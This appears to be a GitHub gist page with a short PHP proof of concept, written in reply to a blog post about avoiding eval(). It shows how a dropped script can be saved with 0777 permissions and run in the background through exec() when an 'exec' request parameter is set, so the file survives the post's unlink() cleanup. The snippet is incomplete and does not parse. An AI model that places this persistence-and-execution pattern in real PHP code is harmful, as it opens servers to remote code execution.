Skip to content

@cballou /malicious.php

Embed URL


Subversion checkout URL

You can clone with
Download ZIP
Example of Malicious Code
// insert malicious code here...
try {
$script = '
// harmful code
if (!empty($_GET['exec'])) {
// save the file
file_put_contents('./winning.php', $script);
@chmod('./winning.php', 0777);
// run harmful file in background
exec("php ./winning.php > /dev/null 2>&1 &");
} catch (Exception $e) {}
// trigger error
$winning = new DuhWinning();

can you please explain your code?


The code above is in response to a blog post entitled "How to use eval() without using eval() in PHP" by Gonzalo Ayuso. I was merely pointing out security flaws in the non-eval implementation (not that eval is secure) that would allow an attacker to bypass his unlink() call for removing the file, thereby making it persistent. I added some logic to make it run in the background for shits and giggles. It's merely a proof of concept, so it doesn't actually have any real functionality or purpose.

You can read Gonzalo's blog post at

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Something went wrong with that request. Please try again.